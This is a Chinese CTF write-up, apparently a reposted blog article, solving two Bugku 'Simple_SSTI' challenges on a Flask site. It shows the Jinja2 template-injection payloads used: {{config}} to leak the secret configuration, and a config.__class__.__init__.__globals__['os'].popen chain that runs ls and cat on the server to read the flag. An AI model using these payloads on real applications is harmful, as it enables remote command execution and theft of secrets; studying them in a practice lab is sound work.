Simple_SSTI_1与Simple_SSTI_2

这篇具有很好参考价值的文章主要介绍了Simple_SSTI_1与Simple_SSTI_2。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一,Simple_SSTI_1

二,Simple_SSTI_2


一,Simple_SSTI_1

首先打开场景:

Simple_SSTI_1与Simple_SSTI_2

 然后F12查看一下源码:

Simple_SSTI_1与Simple_SSTI_2

 于是通过百度相关知识寻找线索:

1,SSTI :服务器端模版注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。

2,flask框架:flask是一个使用Python编写的轻量级Web应用框架(一种开发框架,用来支持动态网站,网络应用程序及网络服务的开发。其类型有基于请求和基于组件的两种框架)

3,SECRET_KEY配置变量是通用密钥,可在Flask和多个第三方扩展中使用,加密的强度取决于变量值的机密度,不同的程序使用不同的密钥。

构造URL,为flag赋值(目的是测试出用的是哪一种框架,然后采用对应的正确的测试语句具体见下一篇《模板注入(测试用例)》

Simple_SSTI_1与Simple_SSTI_2

 Simple_SSTI_1与Simple_SSTI_2

正常传出,再次尝试?flag={{config}}。即可发现显示出flag。

二,Simple_SSTI_2

       首先f12查看源码,发现没有提示信息。

       通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件(读取网站系统目录),发现如下的文件夹:

{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

      Simple_SSTI_1与Simple_SSTI_2

 于是猜测flag是否藏在某一个文件夹中,于是尝试用ls列举出文件夹中的文件一下。

{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}

 查看app文件,结果第一个就是

Simple_SSTI_1与Simple_SSTI_2

用cat打开这个文件浏览

{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

Simple_SSTI_1与Simple_SSTI_2

 补充内容:

##_class_:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类

##__init__             初始化类,返回的类型是function

##__globals__[]          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

##os.popen()       方法用于从一个命令打开一个管道。

##open() 方法用于打开一个文件,并返回文件对象

参考博文:

https://blog.csdn.net/m0_54082441/article/details/124525728?ops_request_misc=&request_id=&biz_id=102&utm_term=simple_ssti_2---bugku&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-124525728.142^v55^js_top,201^v3^control&spm=1018.2226.3001.4187https://blog.csdn.net/m0_54082441/article/details/124525728?ops_request_misc=&request_id=&biz_id=102&utm_term=simple_ssti_2---bugku&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-124525728.142^v55^js_top,201^v3^control&spm=1018.2226.3001.4187https://blog.csdn.net/qq_52718293/article/details/120893543?ops_request_misc=&request_id=&biz_id=102&utm_term=simple_ssti_2---bugku&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-120893543.142^v55^js_top,201^v3^control&spm=1018.2226.3001.4187https://blog.csdn.net/qq_52718293/article/details/120893543?ops_request_misc=&request_id=&biz_id=102&utm_term=simple_ssti_2---bugku&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-120893543.142^v55^js_top,201^v3^control&spm=1018.2226.3001.4187      https://blog.csdn.net/qq_37865996/article/details/102365374https://blog.csdn.net/qq_37865996/article/details/102365374文章来源地址https://www.toymoban.com/news/detail-411356.html

到了这里,关于Simple_SSTI_1与Simple_SSTI_2的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 在当前目录快捷打开cmd的最佳方法

    在当前目录地址栏直接输入cmd,按回车即可进入 在当前目录页面,按住 Shift键 点鼠标右键,点“在此处打开Powershell 窗口(s)进入命令行窗口 在命令行输入:cmd 即可进入

    2024年02月11日
    浏览(38)
  • 教程-右键用vscode(新窗口)打开文件或目录

    通过本文可以提高效率,用起来更爽更高效。 本文实现了(windows系统): 右键-用vscode(当前窗口)打开 文件或目录 右键-用vscode- 新窗口 打开文件或目录 注意: 下面的安装路径要更改为您实际的路径 具体配置步骤: 注册表截图截图举例: 最终效果举例:

    2024年02月02日
    浏览(44)
  • Windows下打开指定目录并定位到具体文件

    使用 system() 函数执行操作系统的命令行命令。 在命令行命令中,使用 explorer /select, 文件路径 来打开目录并选中指定文件。例如: 使用Windows API的 ShellExecute() 函数来打开目录并选中指定文件。 使用 ShellExecute(NULL, \\\"open\\\", \\\"explorer.exe\\\", \\\"/select, 文件路径\\\", NULL, SW_SHOW); 来打开资源管

    2024年02月13日
    浏览(35)
  • 打开、读取以及关闭目录[ opendir()、 readdir()和 closedir() ]

    打开、读取、关闭一个普通文件可以使用 open()、read()、close(),而对于目录来说,可以使用 opendir()、readdir()和 closedir()来打开、读取以及关闭目录。 opendir()函数用于打开一个目录,并返回指向该目录的句柄,供后续操作使用。opendir 是一个 C 库函数,opendir()函数原型如下所示

    2024年02月10日
    浏览(31)
  • bat 打开 cmd 跳转某个目录并执行某些命令

    当遇到多条命令要在 cmd 下执行时,可以用 bat 脚本一次性执行所有命令 例如: 要跳转到桌面名为sentinel的文件夹下,用java -jar执行里面的jar包 普通情况下,Windows+R打开cmd,切换到sentinel文件夹,再执行 java -jar 现在只需要执行 bat 文件,文件内容: start cmd /k \\\"cd /d C:Userseoi

    2024年02月16日
    浏览(54)
  • 【Unity3D】资源文件 ② ( Unity 中场景文件简介 | 查看场景文件内容 | 场景文件相关操作 | 创建场景 | 打开场景 )

    Unity 编辑器中的 场景文件 是以 \\\" .unity \\\" 为后缀的文件 , 该文件中会记录所有 游戏物体 GameObject , 以及游戏物体的相关数据 , 如下内容都是存储在 场景文件 中的 : 游戏物体 GameObject 节点 : 在 Hierarchy 层级窗口 中 场景文件 下的各个节点 都是游戏物体 , 如 主摄像机 , 光源 , 立

    2024年02月09日
    浏览(59)
  • python pyqt5 如何点击按钮,打开文件夹选择目录

    您可以使用PyQt5的QFileDialog类来实现打开文件夹选择目录的功能。下面是一个示例代码,演示了如何创建一个窗口,包含一个按钮,点击按钮后弹出文件夹选择对话框并返回所选目录的路径: import sys from PyQt5.QtWidgets import QApplication, QMainWindow, QPushButton, QFileDialog class MainWindow(Q

    2024年02月10日
    浏览(64)
  • 怎么在vscode项目里打开所在资源管理器的目录

    在VS Code中,你可以通过以下几种方法来打开项目所在的资源管理器(文件夹): 方法 1:通过侧边栏 在VS Code的侧边栏中,点击\\\"Explorer\\\"图标(通常是一个小文件夹图标)。 在\\\"Explorer\\\"面板中,右键点击你想要在资源管理器中打开的文件或文件夹。 从弹出的上下文菜单中选择

    2024年02月08日
    浏览(52)
  • emacs打开git仓库下多个子工程的根目录问题解决案

    如题所述,这个问题困扰我很久了,一直没搜到完整的解决方案。这次终于乘着空闲时间,研究了projectile.el源码找到了方案。 问题场景具体描述下: 我自己有一个私人git仓库,这个git仓库有多个不同的代码工程,因为只有我一个人维护提交,所以不想分出很多git仓库,都是统

    2024年02月15日
    浏览(35)
  • anaconda在新的conda环境创建与打开jupyter notebook,在新的文件目录下打开jupyter notebook(有视频教学)

    目录 视频链接如下: anaconda 1.创建新的conda环境; 2.在新的conda环境打开jupyter notebook; 3.在新的文件目录下打开jupyter notebook; 详细步骤: 本文也是根据该视频的教学学习做的笔记,希望帮助到更多人。 https://www.bilibili.com/video/BV1CU4y1v7PV/?spm_id_from=333.788.top_right_bar_window_histor

    2024年02月01日
    浏览(72)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包